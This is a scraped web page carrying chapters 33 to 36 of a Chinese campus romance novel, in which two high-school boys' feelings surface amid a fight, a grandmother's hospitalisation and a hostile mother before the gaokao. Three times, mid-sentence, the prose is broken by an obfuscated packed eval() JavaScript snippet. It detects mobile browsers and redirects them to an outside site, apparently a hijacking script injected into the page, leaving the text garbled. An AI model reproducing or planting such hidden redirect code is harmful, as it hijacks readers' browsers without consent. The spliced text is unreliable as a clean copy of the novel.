RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路既棠真不知道说他什么好。 对上殷倚松的目光,白鹤生故意又把路既棠揽得更紧了,一副“你能拿我怎样”的架势。 这次,殷倚松没像之前那样被气得转身就走,他走上前来,说道:“放开他。” 白鹤生:“凭什么?” “……”路既棠难得的居然有种落荒而逃的冲动,他不想在殷倚松面前驳白鹤生的面子,也是真如殷倚松说的那样,想让白鹤生放开他,于是他暗中推了一下白鹤生,这是他们之间的暗号——注意分寸。 白鹤生看路既棠真要生气了,只好不情不愿把人放开。 站得离他们极近的殷倚松,将路既棠刚才的小动作尽收眼底。 他想起上周听说的,路既棠连着六节课下课都去七班等白鹤生,从下午哄到晚上。 殷倚松深深吸了一口气,看着眼前不敢回视他的路既棠,想道,好,很好。 33. 第 33 章 幸好上课铃声响了。路既棠逃似地回了教室,路既棠一走,殷倚松就没再给白鹤生一个眼神,他也转身走了。 这节课是数学课,坐在殷倚松旁边的安于年,想在上课之前再问殷倚松一道题。 和以前不同,殷倚松这次不再和颜悦色地给他讲题,反而连题目都没看一眼,就直接说道:“我现在不方便。” 安于年没多想,说道:“没事,那等晚点你……” 殷倚松打断他,“以后也不方便了。” 殷倚松没管安于年震惊的神情,“下午就换位置了,我已经和班主任说了,让他把我们调开,我需要更多的时间学习,抽不出时间给你补数学了,你以后可以请教老师和其他同学。” 安于年下意识就要抓住殷倚松的手,“是不是我做错什么了……” 殷倚松避开对方的动作,他看着安于年,眼里含着一点不明显的讥诮,一字一顿道:“你不知道原因吗?” 安于年身体一震,不可置信地看向殷倚松。 殷倚松没再看他,只是低头抽出一张试卷,低声说道:“你知道我的态度了,以后,不管是在教室还是在寝室,我都希望我们能保持距离。” 以前留着这个人,是为了试探路既棠,现在他已经知道路既棠的态度,这个人就没有留着的必要了。他又不是真的毫无底线地乐于助人,更何况是对他抱有心思的人。 下午,邓宁煜果然拿来了新的座位表。这是毕业前最后一次换座位。 路既棠的位置不动,同桌换成了李未序。殷倚松换了一组,同桌换成了肖意。 很快,路既棠发现,安于年变得很沉默,不再跟着殷倚松,在寝室里看见殷倚松也会刻意避开。偶尔和路既棠对上视线时,安于年也会转移目光,加快速度走开。 与此同时,路既棠发现自己和殷倚松之间的氛围越来越奇怪。 有时候晚上他回去得晚,就会碰上也在阳台上洗漱的殷倚松。他没说话,殷倚松也没说话。阳台并不狭窄,但只要阳台门一关上,阳台只剩下他们两个人时,他就会莫名觉得阳台非常狭小。 如果熄灯后,他们还在阳台里,路既棠听到站在旁边的殷倚松平静的呼吸声后,不受控制地顺着对方白皙结实的胳膊往上看,能看到窗外的灯光照进来时,殷倚松还在滴着水的半边侧脸。 路既棠捏着毛巾的手指轻轻颤了一下。 他擦完脸之后,回到了床上,把头埋进柔软的枕头里,百无聊赖地左右翻了个身,然后面对着墙侧躺着,开始想事情,身后传来细微的动静,他猜想殷倚松已经踩着栏杆上.床了。 这时候,阳台外的灯似乎是转了一个角度,暖色的灯光居然越过了阳台门侧面的门框,照在了路既棠那张床的墙上,灯光居然会动,路既棠下意识用手去抓那落在白墙上的光影。 结果当然是扑空,但就算是抓了一手空气,路既棠也很高兴。 他抓了好一会,玩够了才将手摊开,借着那一点光,认认真真地看自己的手指和掌心。 他翻了个身。 下一刻,他看到了站在他床边正静静看着他的殷倚松。 刹那间,路既棠的心跳停了一拍。 他没有被吓到,事实上,他发现殷倚松的那一刻,是喜大于惊的。 殷倚松居然还没有上去。 黑暗中,路既棠看不清殷倚松的神情,但隐隐能感受殷倚松垂眸看过来的,灼热滚烫的视线。 路既棠的心几乎要颤栗起来,他想,白鹤生说得对,自己真是万劫不复了。 见路既棠看着自己,久久没有说话,殷倚松轻轻拍了一下路既棠的床沿,然后踩着栏杆上去了。 又过了一周,已经到了四月底,高一高二的学生返校了。 许久没见的学弟沈释北来找他,又被殷倚松看见了。 路既棠觉得,最近这段时间,殷倚松不喜欢的人来找自己时,被殷倚松撞见的次数格外多。 周末下午是休息时间,因为封校,路既棠从返校之后就没有再回过家。这周末午睡醒来后,路既棠还在犯困,他一觉睡到了下午三点半,他坐起来揉了一会眼睛之后,下床洗漱,这时候,寝室里已经没有什么人了。 然而,殷倚松还在。殷倚松约他去走走。 路既棠心情有些复杂。同样是一起去散步,几个月他的心境和现在完全不同。 他们一起下楼,路上有一搭没一搭地聊,多是殷倚松开的头,路既棠顺着对方的话往下说。路既棠有意识地收敛着,生怕自己不留意,哪句话里把心事泄露了。 不知不觉间,路既棠发现他们又走到了黄楼边上的大树下,上次他们就是在这里吵架的。 路既棠现在对这个地方有阴影,正想叫殷倚松走快些,一起离开这里。 殷倚松跟上他,他们沿着黄楼边上的小径继续走,小径的尽头通向小花园,今天下午,小花园似乎没有什么人,应该是因为要下雨了,此刻天上的云正渐渐聚拢,阴沉沉地压下来。 殷倚松没有看天色,只是说道:“你之前说你和白鹤生一起长大,后来我听人说,你初中时和白鹤生在同一个班级,初一时白鹤生觉得好玩,带了几瓶酒进学校,约了几个同学,趁着元旦放假,一起把酒喝了。” “元旦结束后,教导主任在上课期间带着你们班主任去查寝,正好查到了那几个空着的啤酒瓶,因为不清楚啤酒瓶是谁的,就让整个寝室的人指认,你也在其中,教导主任要叫家长,于是你主动承认酒是你带进来的,也是你自己喝完的。” “当时你的班主任根本不信,但你还是认下了,如果不是白鹤生过意不去,主动承认了前因后果,是不是你还真的会给他背锅,在全校面前替他读检讨?” “那是因为如果白鹤生的父母知道这件事……”路既棠下意识要解释,话一出口,他才反应过来,有些事不能跟殷倚松说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396657|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“因为什么?”殷倚松嘲弄地笑了一声,“是因为你心甘情愿,是因为他才是你除了亲人之外最在乎的人,还是因为,你要放任他为你扫清所有纠缠你的人?” 路既棠倏然抬头,“你说什么?” “去年夏天,你生日的时候,杨秋染受人所托,拿了一束玫瑰花给你,”殷倚松声音平静,“整个初中时期,送玫瑰花的那个女生几乎一直都在纠缠你,她背景强大,学校也不敢管,是白鹤生把事情闹大,捅到了她父母那里,她父母颜面无光,只好将她送走,你终于解脱了。” “白鹤生也因此付出了惨重的代价,后来,他就被他父母带去了平城。” “路既棠,”殷倚松看着他,问道:“我说得对不对?” 在殷倚松的一字一句里,路既棠只觉得脑中被什么东西翻过,止不住地嗡嗡作响,他眼前一片灰黑,好一会,他才缓过来。 他看着眼前的人,像是从来没有认识过对方,好一会,他才问道:“你这是在干什么,打听我,调查我,监视我,还是都有?” “是啊。”殷倚松点头,干脆地承认了,心想,这个人这么干净,这么讨人喜欢,这么多人都觊觎他,自己和那些人也没什么两样。 他会比那个女生还要不择手段,路既棠真是倒霉,居然遇到了他。 “我尊重你,所以我从来不过问你的隐私,”路既棠气得脸颊绯红,“哪怕寒假后来的那么长的时间里,你没有回复我任何信息,返校之后也没有跟我解释,我……” “我也没有任何怨言,”路既棠偏过脸,一副不想再和殷倚松多说的样子,“可是你这样太冒犯了,我非常不喜欢,你以前明明不是这样的,我也不想知道你到底是什么样的人了,你这样的朋友,我交不起,我们……” 他一句话还没说完,就被殷倚松按在了树上。 他们靠得很近,殷倚松倾身压了过来,路既棠马上伸手要推开对方,殷倚松却将路既棠一双手腕攥住,路既棠要挣开,却发现自己完全反抗不过对方。常年累月地练太极,让殷倚松既有力气,又有巧劲。 路既棠抬头瞪他。 殷倚松微微笑了一下。 下一刻,一阵狂风刮来,摇动小花园里成丛的花树,开在枝头上的花在风中摇摇欲坠。 风更大了,抬眼望去,只见满园飞花。 一片蓝花楹的花瓣落在路既棠的肩头,原先还在僵持的两个人愣了一下,殷倚松已经凝滞的眼神终于动了一下,他静静地看了那片花瓣一眼,又看向路既棠。 路既棠气得狠了,眼睫毛正轻轻颤着,唇抿得很紧,明明是像玉做的人,现在竟然被气出了一种活色生香的鬼魅感。 殷倚松像是终于醒过神来,意识到了自己做了什么,他松开路既棠,说道:“对不起。” 路既棠将肩上的花瓣拂落,狠狠地推开了殷倚松,头也不回地走了。 一场淋漓的雨终于泼了下来。 34. 第 34 章 路既棠很生气。 等到雨下完,坐在教室里的路既棠脑中还是一团乱麻,他已经忘了最后跟殷倚松说的那些话,到底是他真心的,还是气昏了头放的狠话。 他拿出一本书,看了半天,发现自己看不进去,于是又拿出了平时练手用的画本,开始涂涂抹抹,半晌后,他放下了笔,他意识到,现在他太烦躁了。 殷倚松居然能把他气成这样。 他居然不知道,到底是应该先气殷倚松查自己和白鹤生,还是该气殷倚松不尊重自己。 他想了又想,还是气不过,于是把书和画本都收好,站起来,直接回了寝室。 和殷倚松吵完架之后,他走得快,没有被雨淋,等回到屋檐下,他才发现,殷倚松一动不动,竟然还站在雨中。 离得远,他只能隔着雨幕,看到殷倚松模糊的影子。 如果殷倚松已经走了,那他八成是回寝室洗澡换衣服了。 路既棠刚才吵架没有发挥好,实在是怒气难消,他打算回寝室找殷倚松再吵一架,一定要让对方知道自己很生气,非常生气,道歉也没有用! 不然,自己的气就白生了。 这时候的路既棠,已经气得完全忘记了,上一次,他是怎么对待惹他生气的人的。 殷倚松已经越过了他内心的禁地,换作是其他人,路既棠早已经默不作声地远离,让对方再也不能和自己有多余的交集了。 殷倚松能得到特殊对待,说到底,还是因为路既棠喜欢他。 路既棠回到寝室时,已经是傍晚时分,肖意和李未序都在,李未序看到他回来,招呼他,“既棠,要洗澡是吗,得等一下,现在在排着队。” 路既棠点点头,回到床边坐下,慢慢的,他烦躁的心静了下来,脑子也渐渐清醒,开始梳理最近发生的事,他要知道,今天殷倚松为什么突然整这一出。 阳台的门打开,殷倚松走了进来,他拿着干燥的毛巾擦着还在滴水的头发,看到路既棠,怔了一下。 路既棠连忙抓紧时间瞪了对方一眼。 既然寝室里有人,不能吵架,那他只好用别的方式发泄一点怒气。 见殷倚松没有反应,路既棠摆出自己最冷漠的表情,又恶狠狠地瞪着殷倚松。 好奇怪,为什么殷倚松完全没有被自己吓住的样子。 路既棠觉得无趣,转开脸,不再看殷倚松了。 殷倚松却走进一步,他微微俯身,看着路既棠的目光认真而郑重,“刚才的事,是我错了,我向你道歉,对不起”,他低声说道,“你放心,那些事不会有更多人的知道。” 殷倚松发出一声叹息,含着一点不明显的疲惫,他又说道:“路既棠,对不起。” 闻言,路既棠把脸转了回来,眼睛一动不动地看着眼前的人。 随着殷倚松的倾身,他额发上的一滴水珠子落在路既棠的手背上,水珠子很圆也很轻,可这样落下来,还是将路既棠的手砸得一颤。 路既棠的心酸胀起来,他看着殷倚松,说道:“我不接受你的道歉。” 听完路既棠的话,殷倚松面上却没有异色,只是点点头,说了一个“好”字。他猜得到路既棠的反应,是他伤了路既棠的心。 五月初,到了拍毕业照的时候了。三年的时光匆匆而过,真快啊。 这天清晨天气很好,阳光很好,温度也适宜,是可以穿短袖的月份了。 路既棠穿了一件蓝色短袖衬衫和一条白色棉麻阔腿裤,干净简单的衣服也能被他穿得挺括好看。 三班的同学站在图书馆前候场,路既棠闲来无事,看着远处的天空开始走神,突然,他听到有人叫了自己一声,于是他看过去,相机把他这一瞬间的错愕拍了下来。 相机后的人是薛晓希,站在薛晓希身边的冯晓曼看了一会,哈哈大笑道:“我说什么来着,帅哥是拍不出丑图的,我赢了,记得帮我带一周早餐。” “我不服。”薛晓希嘴上说着不服气,却拿着相机过来给路既棠看刚刚拍的照片,“没告诉你就抓拍了,不好意思,刚刚我按了很多下快门,很多照片都很不错,你看看有喜欢的吗,到时候我导出来发给你。” 一旁的贺姝也凑过来,“也让我看看……不是我说,晓希,你平时真是谦虚了,你这个水平,以后做个人像摄影师肯定很有出息。” “人像摄影三要素,模特模特还是模特,你没发现,是路既棠让照片惊艳的吗,和我的技术没多大关系。”薛晓希把相机递给路既棠,让路既棠看。 她说:“要是以后真的做这一行,我就要当风光摄影师,去抓天上的明月,去描水里的荇草,去探江南的杏花,去追西北的风沙,我要把这世界所有美好的风景,都用相机记录下来。” “志向远大,”杨秋染带着祝汝也凑过来,前者继续说道,“我支持你!” 祝汝也说道:“我也支持你,晓希,你一定可以做得很出色的。” 刚才平静地说出一番话的薛晓希,此刻却有点不好意思地摆摆手,“再说再说,谢谢你们。” 说话间,班长岑嘉凝过来招呼他们,排队过去拍班级毕业照。 大合照很快就拍完,他们可以自由活动,自行去拍毕业照了。 很快,寝室长李未序招呼寝室里的人一起去拍个合照,寝室里的人很快就聚过来了。 李未序目光一扫,“殷倚松和安于年还没来,我去找一下安于年……”他本想让路既棠去找殷倚松,但一想起最近路既棠和殷倚松的相处方式,又有点迟疑。 下一刻,肖意说道:“我看见殷倚松了,班主任在和他说话,他已经知道了,很快就过来。” 李未序松了一口气,说道:“行,我们就在国学走廊拍,大家先坐一会。” “我去找薛晓希帮我们拍。”吴睿凌说道。 殷倚松过来时,人刚好齐了。 摄影师就位,薛晓希举着相机,看了一眼他们的姿势,说道:“要不你们一起坐下来吧,高的人坐旁边,稍微低一点的人坐中间……路既棠,你可以再离殷倚松近一点的。” “我说三二一,你们不用说茄子,看镜头就行。”薛晓希开始拍。 随着薛晓希一声“好了”落下,路既棠站了起来,拍照时,坐在他身边的殷倚松让他觉得浑身都不自在。 他们刚一拍完,杨秋染就来拉路既棠,“白鹤生在那边的紫荆花树下等着我们呢,我们赶紧过去吧。” 今天白鹤生看起来格外高兴,“初中的毕业照没能和你一起拍,高中终于可以一起了。” 白鹤生提出初中,想到了那天殷倚松说的话,路既棠心里对白鹤生的愧疚满得都要溢出来。 一想到殷倚松可能从哪些人嘴里知道那些事,他更不想原谅殷倚松了。 白鹤生、路既棠和杨秋染,他们三个人站在花树下拍合照,紫荆花那淡紫色的烟霞,花瓣几乎淡得看不见颜色。 杨秋染捡了一朵花别在鬓边,路既棠神色恬淡,白鹤生则神采飞扬,她和两个哥哥一起,笑意盈盈地看向镜头。 时间很快到了六月份,一天傍晚,路既棠在寝室里摔了一跤。 他是被一沓放在门边的书绊倒的,他没稳住身体,连带着更多的书落了下来,最后还磕到了额头。 “天啊,”正在洗衣服的吴睿凌扑过来,“路哥,怎么样,要紧吗,我听到了好大一声响,是磕到了哪里?我看看。”他试图扶路既棠起来。 刚踏进寝室的李未序和肖意看到这一幕,连忙快步走了过来,李未序和肖意一起把路既棠扶了起来,让路既棠坐在吴睿凌跑去拿来的椅子上。 路既棠揉着额头,说道:“没事,就是头有点晕。” “麻烦你们了,”路既棠说,“我坐一会缓一下,快中考的时候我也摔过一跤,真的好巧,刚刚被我绊倒的书是谁的,对不住。” 肖意正蹲下收拾散落在地上的书,他翻到书的扉页,“是安于年的。” “前几天都没看到,”李未序说道,“怎么突然把书放在这里,晚点我和他说一下吧,让他把书拿走。” “要去校医室看一下吗?”吴睿凌一直看着路既棠,“刚刚听声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396658|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我感觉真的摔得挺狠的。” 从校医室回来,路既棠靠近右边太阳穴的一小块额头已经肿了起来,现在出不了学校,校医只能给他开点药看看情况,叮嘱路既棠不适随诊。 第二天早上,路既棠没能坐起来,他头晕得几乎看不清眼前的东西,只能拜托李未序帮他向班主任请假。 再醒过来时,已经是早上九点,床前有人,现在是上课时间,怎么会有人。 路既棠艰难地抬眼看过去,一双手却伸过来盖住了他的眼睛。 “别看了,头会更晕的。”床前的人正是殷倚松,他柔声说:“是我,现在我们出不了学校,但我和班主任说了,我爷爷让人送药过来,我把过你的脉了,没什么大事,喝了药休息一天就会好了。” 路既棠内心深处又酸又软。 他真拿这个人没办法。 沉默了一会,路既棠说道:“谢谢你。” 他的眼睛被殷倚松盖住,看不到殷倚松的神情,只能听到殷倚松轻轻笑了一下,“路既棠,你说,我是不是总让你为难?” “有一点,”路既棠想了一会,又觉得头晕了,他只能撑着说道,“你和白鹤生是不一样的……” 殷倚松看出他的不适,他“嗯”了一声,给路既棠喂完药后,又替路既棠捡起落在床外的被子,盖在路既棠身上,才说道:“我知道,睡吧。” 下一刻,一股清淡的香气涌入路既棠的鼻尖,路既棠再次沉沉睡去。 路既棠彻底清醒时已经是下午,殷倚松不在寝室里了,他坐起来,发现头不晕了,脑中一片清明,他环顾了一下四周,只见身上盖得整整齐齐的被子,被角被妥帖的掖着。 路既棠看着那处被角,陷入长久的失神。 因为今年的高考在七月份,六月中旬高三的学生们还在做最后的复习,一天晚自习,教室里的灯突然熄灭了。 整栋教学楼很快陷入一片漆黑。 “停电了。”在这一句话里,班级里的人突然欢呼起来,很快,其他班也传来了欢呼的声音。 平时偷偷藏着手机的人,前后左右地环顾了一圈,确认没有老师过来,于是打开了手电筒,渐渐的,很多束灯光在黑暗中亮起。 有人带头唱起了歌。 一开始,只是几个人唱,慢慢地,越来越多人加入,很多人渐渐走出教室,站在走廊上,在这个停电的夜里,教学楼一层层的走廊里,一束束光次第亮起。 手机的灯光摇晃起来,为歌打着节拍,从《起风了》唱到《追光者》,从《凤凰花开的路口》唱到《后来》,一首歌一首歌地唱着,这是高三学生的大合唱。 尽管现在他们还在同一栋教学楼里做着试卷,听着老师们的课。 但别离已经近在眼前。 很快,他们就要分别了,往后四海八方,要有多大的缘分才能再聚到一起呢。 最后,不知道是谁带头唱了起来,“长亭外,古道边,芳草碧连天,晚风拂柳笛声残,夕阳山外山……” “天之涯,地之角,知交半零落,一壶浊酒尽余欢,今宵别梦寒……”(注) 明暗交杂的环境,放大了人的情愫。 一种说不出来的的悲伤弥漫过来。 有人喊道:“我就要我前程似锦,我就要我们这一代人前途光明。” 有人接着喊道:“我不要一直当追着光的人,我要自己也成为光。” 越来越多的人跟着喊—— “我要和她考上同一所大学,我要和她有很好很好的未来。” “我希望不管以后发生什么,我都能做真实的自己,不用违背本心,不用妥协不用屈服。” ………………………… 几天后,考完四模,路既棠正在收拾走廊的书。 走廊上忽然一片沸腾。“看——是彩虹!” 路既棠转过头去看。 大雨后的天空一碧如洗,一弯彩虹静静地悬在暮色中。 有同学激动得叽哇乱叫,“彩虹,见者得好运!” 路既棠听得露出了笑容。 35. 第 35 章 “小棠。” 路既棠听到有人在叫他的名字。 他还没回答,一只狗头就拱开房间门,摇头晃脑地跑过来,下一刻,狗伸出舌头舔了两下路既棠的手心,“呜呜”地叫唤。 门被打开了,一个人站在门外,他看不清对方的脸,但心里知道,那个人是妈妈。 “小棠,”路眠月叫他,“让妈妈看看你,”说着,她走进来,“今天爸爸妈妈带你去游乐园,你不是一直都想去吗?” 路既棠点点头,他问:“爸爸呢?” “爸爸在厨房,”路眠月过来牵路既棠的手,“我们去找他。” 他们出来时,路辞曲将最后一道菜摆上桌,英俊高大的男人抱起路既棠,仔仔细细地端详,“小棠,有没有想爸爸妈妈?” “想,”路既棠又点点头,说完之后,又补了一句,“很想。” 路辞曲笑着亲了一下路既棠的脸颊,“爸爸妈妈也很想你,”他的声音渐渐变远,“小棠,你要好好长大。” 抱着路既棠的手慢慢模糊,最后消失不见,路既棠一看,妈妈也不见了,她站的地方只剩下一个光球,他抓了一下,什么都抓不到,光球跑了,于是他连忙跑去追。 过了阳台,追到花园的时候,他听到身后传来奶奶的声音,“小棠,跑慢点,别摔着。” 路既棠惶惶然地站住,紧接着,白鹤生也从客厅里跑出来,这时候的白鹤生还是一个半大的孩子,他抓着路既棠的手,“你要去哪里玩,今天我们去抓树上的知了怎么样?” 路既棠摇摇头,今天,他明明……明明要和爸爸妈妈去游乐园的,可是爸爸妈妈不见了。 路既棠急得要哭,他用手背抹眼睛,仰着头问白鹤生,“哥哥,你知道我爸爸妈妈去哪里了吗?” 白鹤生不说话了。 客厅突然传来一生巨响。路既棠被吓了一跳,他忙跑回去看。 只见路奶奶闭着眼睛躺在客厅里,路既棠呼吸一滞,他跑过去,跪在地上轻轻地摇晃着路奶奶,喊道:“奶奶,你怎么了?” 路奶奶没有回答他。 他去握路奶奶的手,发现路奶奶的手已经变得冰冷而僵硬了。 路既棠忽然惊醒。 他猛地从床上坐起来,冷汗已经浸湿了领口,在急喘几口气之后,他才按住心跳如擂鼓的心口,心里想道:“是梦,没事,只是一个梦。” 他拿过手表看了一眼时间,才凌晨五点。 寝室很安静,只有其他人轻微的呼吸声。 早上第一节下课之后,他去找班主任拿回自己的手机,给家里打电话。 往常这个时候,奶奶已经醒了,但没有人接电话。 路既棠又打了一个。 还是没有人接。 他心里的不安越来越浓。 他开始打杨外婆的电话,很快,有人接了,接电话的人不是杨外婆,而是杨见晞。 路既棠连忙问路奶奶的情况。 “小棠,”杨见晞叹了一口气,本来想瞒着,现在看来是瞒不住了,“我让你何叔叔去接你,你来医院一趟吧。” 那一瞬间,路既棠有点没站稳。 “小棠,”杨见晞声音很温和,她劝道,“你把电话给邓老师好吗,我和他说一下。” 班主任显然是已经知道这件事了,他和电话那一头的杨见晞说了几句,挂了电话之后,他说:“我马上给你批假,路既棠,快高考了,你要保重自己。” 邓宁煜说的话,他一句都没听进去,只是胡乱应着。 何景研带着路既棠很快就到了医院。 杨外婆和杨见晞都在重症监护室门口等着,看到路既棠的那一刻,杨外婆上前抱住了他。 她泪如雨下,“小棠……” “外婆,”路既棠声音沙哑地问道,“奶奶她现在怎么样了?” “还没脱离危险期。”杨外婆说道。 “这是怎么回事,是什么时候的事?” 杨外婆说了一个日期,居然正好是路既棠在寝室里摔倒那一天。 “霜白在家里摔了一跤,”杨外婆说,“幸好见晞那天去看她,发现得及时,但霜白摔倒的时候磕到了头……”她停了一会,才说道:“医生说,很严重,霜白年纪大了,有可能……” 杨外婆说不下去了。 路既棠脑中的一根弦一下子就断了,他急走两步,想要进去看看路奶奶,却被拦着门外。 “小棠,”杨见晞拉住他的手,“今天的探视时间快到了,等会你换了衣服进去看一眼吧。” 她有些不忍心,“小棠,你一定要保重自己,路姨也是这样想的。” 路既棠神思不属地点点头。 路既棠想起那天夜里路奶奶说的话。 人这一生,真的要接受命运的无常。 可为什么命运总是对他这样残忍。 在看完路奶奶出来后,何景研送路既棠回学校,一向安静寡言的何景研说道:“小棠,我知道现在说让你保重自己都是空话,你放心,往后不管路姨有什么情况,我们都会第一时间告诉你。” 从那一刻开始,似乎所有不好的事都集中在一起爆发。 没想到殷倚松那已经被删除的最后一条朋友圈,成了殷倚松觊觎路既棠的铁证。 发现的人,是殷倚松的母亲任素。 这样大的把柄,自然让任素欣喜若狂。只要是殷倚松想要的,殷倚松的父母都要千方百计地毁掉。 他们不在乎会不会把无辜的人牵扯进来,毕竟在他们眼里,从来都是弱肉强食,所有的人都是他们的踏脚石。 殷倚松有祖父殷问枢护着,动不了殷倚松,还动不了父母双亡的路既棠吗。 得到殷倚松父亲殷列缺的授意后,任素先是去了一趟医院,她本想在路霜白面前将事情抖落出来,但路霜白一直昏迷不醒,还没见到路霜白就被被杨见晞和何景研拦住了。 杨见晞面色如霜似雪,“你真以为没人动得了你们家,同在南林市生意场,你们夫妇树的敌还不够多吗,我劝你见好就收,做的恶多了,再大的背景也保不住你们。” 说完之后,她叫来保安,把任素和她带来的人一起轰了出去。 任素心有不甘,又去了学校。校长亲自接待了她,班主任邓宁煜将殷倚松带了过来。 得知任素去了医院后,对上她一向游刃有余、不卑不亢的殷倚松,此时怒不可遏,他难以置信地说道:“你们为什么能这样狠毒?” “这算什么?”任素居然笑得很得意,她让人把殷倚松按住,才对校长说道:“那个叫路既棠的男生呢,也把他叫来这里听听才好。” 校长只得打圆场,“这……这也不是什么板上钉钉的事,小孩子胡闹的事情,您就别太较真了,路既棠和这件事也没什么关系,孩子都快高考了,就别让这种事打扰他了吧。” “校长您要是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396659|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意,”任素说道,“那我只好让人把他请过来了。” 邓宁煜开口了,“这位家长,学校不是你为所欲为的地方,你们不遵守规则,不代表规则不存在,如果你真要乱来,让大家都没有退路,我虽然只是一个不起眼的老师,但也不怕和你鱼死网破。”他最后说了一个名字。 任素听到那个名字之后,沉默了。 她沉默了一会,再开口时气势弱了不少,说道:“我可以退一步,但我要把殷倚松带回去。” 校长和邓宁煜都看向殷倚松。 殷倚松被牢牢制着,面色灰败,他沉默地接受了这样的安排。 当天下午,一节课下课之后,路既棠被邓宁煜叫到了办公室。 邓宁煜倒了一杯茶,递给路既棠,“现在是六月末了,还有几天,高考就来了,你喝杯茶,安安神。” “我跟你讲个故事吧,”邓宁煜说道,“我高中的时候写地理试卷,有一道题考了地形,那时候可能是记岔了,我把‘断背山’写了上去,试卷发下来之后,我发现整张试卷都没有老师批改的痕迹,但‘断背山’那三个字被红笔重重地圈了出来。” “后来,在讲解试卷时,地理老师说,‘某些同学不要夹带私货搞小聪明’。上了大学之后,我才知道当年地理老师那番话是什么意思。” “路既棠,有些路是很难走的,”邓宁煜说得隐晦,“以你的资质,就该一直走在康庄大道上,我希望,你可以不用去面对节外生枝的艰难险阻。” “现在这个阶段很重要,”邓宁煜说道,“你得把你能做的事情做好,才能在未来有能力做你想做的事情。” 喝完茶后,邓宁煜让路既棠回去。 在回去之前,为了让路既棠别因为其他事起杂念,邓宁煜轻描淡写地说道:“对了,殷倚松请假回去了,也没什么大事,他想这段时间在家里复习,你帮我跟你们寝室长说一声。” 临近高考,学校取消了傍晚的跑操。 这段时间,路既棠肉眼可见地沉默了很多,祝汝过来问他有没有时间,她想和他聊聊。 于是,他们此刻正坐在图书馆的楼梯上,看楼外的夕阳。 “我听秋染说了你家里的事。” “高二时,在教室外,那不是我们第一次见。”祝汝说:“你应该不记得我了,但我一直记得你。” “我第一次见到你,是在高一的第一个学期,”祝汝说道,“那时候我痛经很严重,疼得已经看不见路了,电梯又正好在维修,班上的同学把我从六楼背下来,她个子小,费尽力气地背了我四层楼,背不动了,你正好路过,也没问是什么情况,把我背起来就往校医室去。” “那是我最狼狈的时候,”祝汝说道,“你把我送到校医室,垫了医药费就走了,可我还没来得及跟你说一声谢谢。” “后来,那个女生转学了,”祝汝说道,“我一直记得她,也一直记得你。” “路既棠,我现在和你说这件事,只是想告诉你,你是一个很好很好的人,我一直都相信,好人会有好报,如果可以,我愿意把我为数不多的好运气分给你。” “我希望你能好起来。” 路既棠看着她,祝汝的神色认真而平静,他说:“谢谢你。” 祝汝笑了一下,“我愿意把我的运气给你,但你一定要加油,我不会把第一名让给你的。” 路既棠终于提了提嘴角,露出一个很淡的浅笑,“好。” 36. 第 36 章 这一年的高考终于结束了。 路既棠先去医院看了奶奶,就在高考的前一天,路奶奶的情况稳定下来,终于转出了重症监护室。 白鹤生和杨秋染也一起来了。 路既棠静静地陪奶奶待了一会。 杨见晞说道:“有一件事,之前一直没和你说。”病房外,杨见晞把之前殷倚松母亲来医院的事情和盘托出。 最后,她犹豫了一会,说道:“不管你对殷倚松是什么看法,他们家的情况复杂,如果可以的话,你尽量不要和殷倚松有太多接触。”杨见晞说完之后,回了病房。 留下路既棠在原地,他需要一点时间来缓缓。 路既棠从来没有想过,他是在这种情况下,知晓殷倚松对自己的心意。 殷倚松的母亲在大庭广众下宣扬自己孩子的隐私。 这让他、让殷倚松如何自处。 那一瞬间,路既棠前所未有地感受到,这段感情竟然无比艰难。 他终于懂了那天班主任说的那些话的深意。 他突然觉得好累。 所以殷倚松在高考前突然回家,也是另有隐情。 路既棠发信息问班主任,得到了肯定的答案后,路既棠问邓宁煜,“老师,那殷倚松最后去考试了吗?” “去了。”邓宁煜回他,“你别太愧疚,这件事和你没有关系。” 路既棠看完那行字,靠在病房外的墙上,他快要站不住了,他的心口好疼。 怎么会这么疼。 忽然,白鹤生含着惊喜的声音响起,“路既棠,你快来看,奶奶的眼睛好像动了一下。” 路既棠几乎是飞奔进去。 病房里的几个人无一例外地都守在在路霜白床前。 半个小时后,路霜白居然真的醒了。 她缓缓地看了一圈,看到路既棠之后,脸上露出了笑容,她艰难地伸出手,拍了一下路既棠的手背,只来得及喊了一声“小棠”就又昏迷了。 杨见晞连忙叫来医生。 “真是奇迹,”医生叹道,“能醒过来就好,后面要多注意。” 路奶奶清醒的时间越来越长。 出成绩那天,路奶奶甚至能坐起来,和路既棠说一会话了。 